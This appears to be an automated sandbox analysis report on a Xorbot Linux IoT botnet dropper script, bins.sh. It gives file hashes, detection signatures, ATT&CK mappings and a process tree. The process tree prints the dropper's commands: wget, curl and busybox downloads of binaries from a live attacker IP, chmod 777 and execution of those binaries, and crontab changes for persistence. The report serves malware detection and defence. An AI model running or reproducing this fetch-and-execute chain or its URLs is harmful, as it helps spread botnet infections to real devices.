xorbot | 512c85432f47149b04a2620dea12b2520857884e398b886d768468a16ced73d5

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28/02/2025, 19:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

1f4d23e931eb2509fb595dbf127fdfe2
SHA1

bde31e4db33a17ed1e37364a26242e12f6b0bbbb
SHA256

512c85432f47149b04a2620dea12b2520857884e398b886d768468a16ced73d5
SHA512

b1ddd776c1e3cfd5d8de54ee3a1feece060b29b1db408fdefe679d1e37d41c4c21a7e7beb9b97f34552e7d03add2b35999311a50d8d50f10a1312fbcba7cfaf3
SSDEEP

192:1N5dmvfK3Q3k3x3+3e3rzHkJpgD5B5Z5uFpYFwIva22k0iOaQCTjPLaL2Lzm+zw+:1N5dmvfK3Q3k3x3+3e3rzHkJpgDf7JFJ

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1985) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1502	chmod
1509	chmod
1516	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	1503	bins.sh
/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	1510	bins.sh
/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	1517	bins.sh

Renames itself 1 IoCs

pid	Process
1518	bins.sh

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.39uUWM	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1738/cmdline	bins.sh
File opened for reading	/proc/1741/cmdline	bins.sh
File opened for reading	/proc/162/cmdline	bins.sh
File opened for reading	/proc/1159/cmdline	bins.sh
File opened for reading	/proc/1618/cmdline	bins.sh
File opened for reading	/proc/1660/cmdline	bins.sh
File opened for reading	/proc/1691/cmdline	bins.sh
File opened for reading	/proc/1762/cmdline	bins.sh
File opened for reading	/proc/1764/cmdline	bins.sh
File opened for reading	/proc/1791/cmdline	bins.sh
File opened for reading	/proc/323/cmdline	bins.sh
File opened for reading	/proc/667/cmdline	bins.sh
File opened for reading	/proc/137/cmdline	bins.sh
File opened for reading	/proc/490/cmdline	bins.sh
File opened for reading	/proc/1567/cmdline	bins.sh
File opened for reading	/proc/1579/cmdline	bins.sh
File opened for reading	/proc/1613/cmdline	bins.sh
File opened for reading	/proc/1640/cmdline	bins.sh
File opened for reading	/proc/1671/cmdline	bins.sh
File opened for reading	/proc/1695/cmdline	bins.sh
File opened for reading	/proc/1050/cmdline	bins.sh
File opened for reading	/proc/1492/cmdline	bins.sh
File opened for reading	/proc/1570/cmdline	bins.sh
File opened for reading	/proc/1731/cmdline	bins.sh
File opened for reading	/proc/1783/cmdline	bins.sh
File opened for reading	/proc/1786/cmdline	bins.sh
File opened for reading	/proc/81/cmdline	bins.sh
File opened for reading	/proc/169/cmdline	bins.sh
File opened for reading	/proc/1665/cmdline	bins.sh
File opened for reading	/proc/1742/cmdline	bins.sh
File opened for reading	/proc/161/cmdline	bins.sh
File opened for reading	/proc/174/cmdline	bins.sh
File opened for reading	/proc/1078/cmdline	bins.sh
File opened for reading	/proc/1140/cmdline	bins.sh
File opened for reading	/proc/1720/cmdline	bins.sh
File opened for reading	/proc/1778/cmdline	bins.sh
File opened for reading	/proc/409/cmdline	bins.sh
File opened for reading	/proc/1119/cmdline	bins.sh
File opened for reading	/proc/1547/cmdline	bins.sh
File opened for reading	/proc/1775/cmdline	bins.sh
File opened for reading	/proc/1796/cmdline	bins.sh
File opened for reading	/proc/1243/cmdline	bins.sh
File opened for reading	/proc/1526/cmdline	bins.sh
File opened for reading	/proc/15/cmdline	bins.sh
File opened for reading	/proc/1711/cmdline	bins.sh
File opened for reading	/proc/1713/cmdline	bins.sh
File opened for reading	/proc/1735/cmdline	bins.sh
File opened for reading	/proc/1740/cmdline	bins.sh
File opened for reading	/proc/83/cmdline	bins.sh
File opened for reading	/proc/166/cmdline	bins.sh
File opened for reading	/proc/436/cmdline	bins.sh
File opened for reading	/proc/466/cmdline	bins.sh
File opened for reading	/proc/1531/cmdline	bins.sh
File opened for reading	/proc/1561/cmdline	bins.sh
File opened for reading	/proc/1697/cmdline	bins.sh
File opened for reading	/proc/1772/cmdline	bins.sh
File opened for reading	/proc/10/cmdline	bins.sh
File opened for reading	/proc/36/cmdline	bins.sh
File opened for reading	/proc/1031/cmdline	bins.sh
File opened for reading	/proc/1329/cmdline	bins.sh
File opened for reading	/proc/1556/cmdline	bins.sh
File opened for reading	/proc/1564/cmdline	bins.sh
File opened for reading	/proc/555/cmdline	bins.sh
File opened for reading	/proc/85/cmdline	bins.sh

Writes file to tmp directory 10 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	curl
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	curl
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	busybox
File opened for modification	/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki	wget
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	busybox
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	wget
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	busybox
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	wget
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	wget
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1494
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1495
- /usr/bin/wget
  wget http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Writes file to tmp directory
  PID:1496
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Writes file to tmp directory
  PID:1500
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Writes file to tmp directory
  PID:1501
- /bin/chmod
  chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - File and Directory Permissions Modification
  PID:1502
- /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:1503
- /bin/rm
  rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:1505
- /usr/bin/wget
  wget http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Writes file to tmp directory
  PID:1506
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Writes file to tmp directory
  PID:1507
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/chmod
  chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:1510
- /bin/rm
  rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:1512
- /usr/bin/wget
  wget http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Writes file to tmp directory
  PID:1513
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1520
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1522
- /bin/rm
  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  PID:1524
- /usr/bin/wget
  wget http://37.44.238.88/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  - Writes file to tmp directory
  PID:1527

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki

Filesize
64KB

MD5
7d0eb0da438bfb6899600238d28cbf36

SHA1
b093fdf215abdab58bc8fd3b80494b17824ed41e

SHA256
36ed02bb7635f87031db648b5782bc605e3b579ead00b4eb933cbfd51c0c4e61

SHA512
be89884a379cd54c104fcd3d4e035a44979f2a2ff80c6d97fbf33d0cd54b1d1c958e8f7bc06c8f61500cf3a1d7f5d305570eb0738d80ca215f7bfa34661bfe72

Download Submit
/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.39uUWM

Filesize
210B

MD5
d378120e4a5138dc0cd588644967d81d

SHA1
13b702d8ab72a01f9a0da84db8b1a8bf82d100f4

SHA256
30b955f8fec58d0617af6bd77b2a27ba349fb2ae572cc025f184d2ae8c9db5f2

SHA512
6ccbc262fd08dbcc096954772d9f5be1dd4d2b14e2b0a0ef18bf3480b9c7c9e169d6640fb994def526751da54f15b1df2d6bcc53f5e27675402caa7a01b0c826

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads